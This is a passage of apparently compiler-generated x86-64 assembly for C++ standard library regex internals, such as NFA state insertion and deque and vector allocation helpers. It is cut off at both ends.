rax, [rbp-96] mov rdi, rax call _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEED1Ev lea rax, [rbp-66] mov rdi, rax call _ZNSaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEED1Ev jmp .L1450 mov r13, rax mov rsi, r12 mov rdi, rbx call _ZdlPvS_ mov rbx, r13 lea rax, [rbp-65] mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev lea rax, [rbp-96] mov rdi, rax call _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEED1Ev jmp .L1447 mov rbx, rax .L1447: lea rax, [rbp-66] mov rdi, rax call _ZNSaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1450: add rsp, 104 pop rbx pop r12 pop r13 pop r14 pop r15 pop rbp ret _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE31_M_enable_shared_from_this_withIS5_S5_EENSt9enable_ifIXntsrNS8_15__has_esft_baseIT0_vEE5valueEvE4typeEPT_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2Ev nop leave ret _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], 0 nop pop rbp ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_allocate_mapEm: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi lea rax, [rbp-17] mov rdx, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNKSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE20_M_get_map_allocatorEv mov rdx, QWORD PTR [rbp-48] lea rax, [rbp-17] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE8allocateERS7_m mov rbx, rax nop lea rax, [rbp-17] mov rdi, rax call _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED1Ev mov rax, rbx jmp .L1458 mov rbx, rax lea rax, [rbp-17] mov rdi, rax call _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1458: add rsp, 40 pop rbx pop rbp ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_create_nodesEPPS5_S9_: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov rax, QWORD PTR [rbp-48] mov QWORD PTR [rbp-24], rax .L1461: mov rax, QWORD PTR [rbp-24] cmp rax, QWORD PTR [rbp-56] jnb .L1466 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_allocate_nodeEv mov rdx, rax mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx add QWORD PTR [rbp-24], 8 jmp .L1461 mov rdi, rax call __cxa_begin_catch mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_destroy_nodesEPPS5_S9_ call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1466: nop add rsp, 56 pop rbx pop rbp ret _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-32] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-24] mov rbx, QWORD PTR [rax+8] call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E14_S_buffer_sizeEv mov rdx, rax mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rdx, [rbx+rax] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+16], rdx nop add rsp, 24 pop rbx pop rbp ret _ZNKSt6vectorImSaImEE8max_sizeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rdi, rax call _ZNSt16allocator_traitsISaImEE8max_sizeERKS0_ leave ret _ZNKSt6vectorImSaImEE4sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 3 pop rbp ret _ZNSt16allocator_traitsISaImEE8allocateERS0_m: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImE8allocateEmPKv leave ret _ZSt32__make_move_if_noexcept_iteratorImSt13move_iteratorIPmEET0_PT_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt13move_iteratorIPmEC1ES0_ mov rax, QWORD PTR [rbp-8] leave ret _ZSt22__uninitialized_copy_aISt13move_iteratorIPmES1_mET0_T_S4_S3_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZSt18uninitialized_copyISt13move_iteratorIPmES1_ET0_T_S4_S3_ leave ret _ZSt7forwardINSt8__detail6_StateIcEEEOT_RNSt16remove_referenceIS3_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt16allocator_traitsISaINSt8__detail6_StateIcEEEE9constructIS2_JS2_EEEvRS3_PT_DpOT0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt7forwardINSt8__detail6_StateIcEEEOT_RNSt16remove_referenceIS3_E4typeE mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail6_StateIcEEE9constructIS3_JS3_EEEvPT_DpOT0_ nop leave ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE17_M_realloc_insertIJS2_EEEvN9__gnu_cxx17__normal_iteratorIPS2_S4_EEDpOT_: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-88], rdi mov QWORD PTR [rbp-96], rsi mov QWORD PTR [rbp-104], rdx mov rax, QWORD PTR [rbp-88] mov edx, OFFSET FLAT:.LC24 mov esi, 1 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE12_M_check_lenEmPKc mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE5beginEv mov QWORD PTR [rbp-72], rax lea rdx, [rbp-72] lea rax, [rbp-96] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxmiIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEENS_17__normal_iteratorIT_T0_E15difference_typeERKSB_SE_ mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE11_M_allocateEm mov QWORD PTR [rbp-64], rax mov rax, QWORD PTR [rbp-64] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-104] mov rdi, rax call _ZSt7forwardINSt8__detail6_StateIcEEEOT_RNSt16remove_referenceIS3_E4typeE mov rsi, rax mov rdx, QWORD PTR [rbp-56] mov rax, rdx add rax, rax add rax, rdx sal rax, 4 mov rdx, rax mov rax, QWORD PTR [rbp-64] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-88] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail6_StateIcEEEE9constructIS2_JS2_EEEvRS3_PT_DpOT0_ mov QWORD PTR [rbp-24], 0 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEE4baseEv mov rsi, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-40] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPNSt8__detail6_StateIcEES3_SaIS2_EET0_T_S6_S5_RT1_ mov QWORD PTR [rbp-24], rax add QWORD PTR [rbp-24], 48 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEE4baseEv mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-48] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPNSt8__detail6_StateIcEES3_SaIS2_EET0_T_S6_S5_RT1_ mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt8__detail6_StateIcEES2_EvT_S4_RSaIT0_E mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rdx+16] sub rdx, QWORD PTR [rbp-40] mov rcx, rdx sar rcx, 4 movabs rdx, -6148914691236517205 imul rdx, rcx mov rcx, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE13_M_deallocateEPS2_m mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rdx, QWORD PTR [rbp-32] mov rax, rdx add rax, rax add rax, rdx sal rax, 4 mov rdx, rax mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov QWORD PTR [rax+16], rdx jmp .L1488 mov rdi, rax call __cxa_begin_catch cmp QWORD PTR [rbp-24], 0 jne .L1483 mov rdx, QWORD PTR [rbp-56] mov rax, rdx add rax, rax add rax, rdx sal rax, 4 mov rdx, rax mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail6_StateIcEEEE7destroyIS2_EEvRS3_PT_ jmp .L1484 .L1483: mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt8__detail6_StateIcEES2_EvT_S4_RSaIT0_E .L1484: mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rcx, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt8__detail6_StateIcEESaIS2_EE13_M_deallocateEPS2_m call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1488: add rsp, 104 pop rbx pop rbp ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE4backEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE3endEv mov QWORD PTR [rbp-8], rax lea rax, [rbp-8] mov esi, 1 mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEmiEl mov QWORD PTR [rbp-16], rax lea rax, [rbp-16] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEdeEv nop leave ret _ZSt4moveIRSt9_Any_dataEONSt16remove_referenceIT_E4typeEOS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt4swapISt9_Any_dataENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleIS5_ESt18is_move_assignableIS5_EEE5valueEvE4typeERS5_SF_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt4moveIRSt9_Any_dataEONSt16remove_referenceIT_E4typeEOS3_ mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-16], rax mov QWORD PTR [rbp-8], rdx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRSt9_Any_dataEONSt16remove_referenceIT_E4typeEOS3_ mov rcx, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rcx], rax mov QWORD PTR [rcx+8], rdx lea rax, [rbp-16] mov rdi, rax call _ZSt4moveIRSt9_Any_dataEONSt16remove_referenceIT_E4typeEOS3_ mov rcx, QWORD PTR [rbp-32] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rcx], rax mov QWORD PTR [rcx+8], rdx nop leave ret _ZSt4moveIRPFbRSt9_Any_dataRKS0_St18_Manager_operationEEONSt16remove_referenceIT_E4typeEOS9_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt4swapIPFbRSt9_Any_dataRKS0_St18_Manager_operationEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISB_ESt18is_move_assignableISB_EEE5valueEvE4typeERSB_SL_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt4moveIRPFbRSt9_Any_dataRKS0_St18_Manager_operationEEONSt16remove_referenceIT_E4typeEOS9_ mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRPFbRSt9_Any_dataRKS0_St18_Manager_operationEEONSt16remove_referenceIT_E4typeEOS9_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx lea rax, [rbp-8] mov rdi, rax call _ZSt4moveIRPFbRSt9_Any_dataRKS0_St18_Manager_operationEEONSt16remove_referenceIT_E4typeEOS9_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx nop leave ret _ZSt4moveIRPFbRKSt9_Any_dataOcEEONSt16remove_referenceIT_E4typeEOS8_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt4swapIPFbRKSt9_Any_dataOcEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISA_ESt18is_move_assignableISA_EEE5valueEvE4typeERSA_SK_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt4moveIRPFbRKSt9_Any_dataOcEEONSt16remove_referenceIT_E4typeEOS8_ mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRPFbRKSt9_Any_dataOcEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx lea rax, [rbp-8] mov rdi, rax call _ZSt4moveIRPFbRKSt9_Any_dataOcEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx nop leave ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE20_M_insert_line_beginEv: push rbp mov rbp, rsp push rbx sub rsp, 72 mov QWORD PTR [rbp-72], rdi lea rax, [rbp-64] mov esi, 4 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-72] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1504 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1504: add rsp, 72 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE18_M_insert_line_endEv: push rbp mov rbp, rsp push rbx sub rsp, 72 mov QWORD PTR [rbp-72], rdi lea rax, [rbp-64] mov esi, 5 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-72] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1509 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1509: add rsp, 72 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-16] add rax, rdx leave ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE20_M_insert_word_boundEb: push rbp mov rbp, rsp push rbx sub rsp, 120 mov QWORD PTR [rbp-120], rdi mov eax, esi mov BYTE PTR [rbp-124], al lea rax, [rbp-112] mov esi, 6 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE movzx eax, BYTE PTR [rbp-124] mov BYTE PTR [rbp-88], al lea rax, [rbp-112] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1516 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1516: add rsp, 120 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE19_M_insert_lookaheadElb: push rbp mov rbp, rsp push rbx sub rsp, 136 mov QWORD PTR [rbp-120], rdi mov QWORD PTR [rbp-128], rsi mov eax, edx mov BYTE PTR [rbp-132], al lea rax, [rbp-112] mov esi, 7 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-128] mov QWORD PTR [rbp-96], rax movzx eax, BYTE PTR [rbp-132] mov BYTE PTR [rbp-88], al lea rax, [rbp-112] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1521 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1521: add rsp, 136 pop rbx pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb0ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-17] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb0EEC1ERKS3_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb0EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1525 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1525: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb0ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb1EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb1EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1529 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1529: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb1ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, 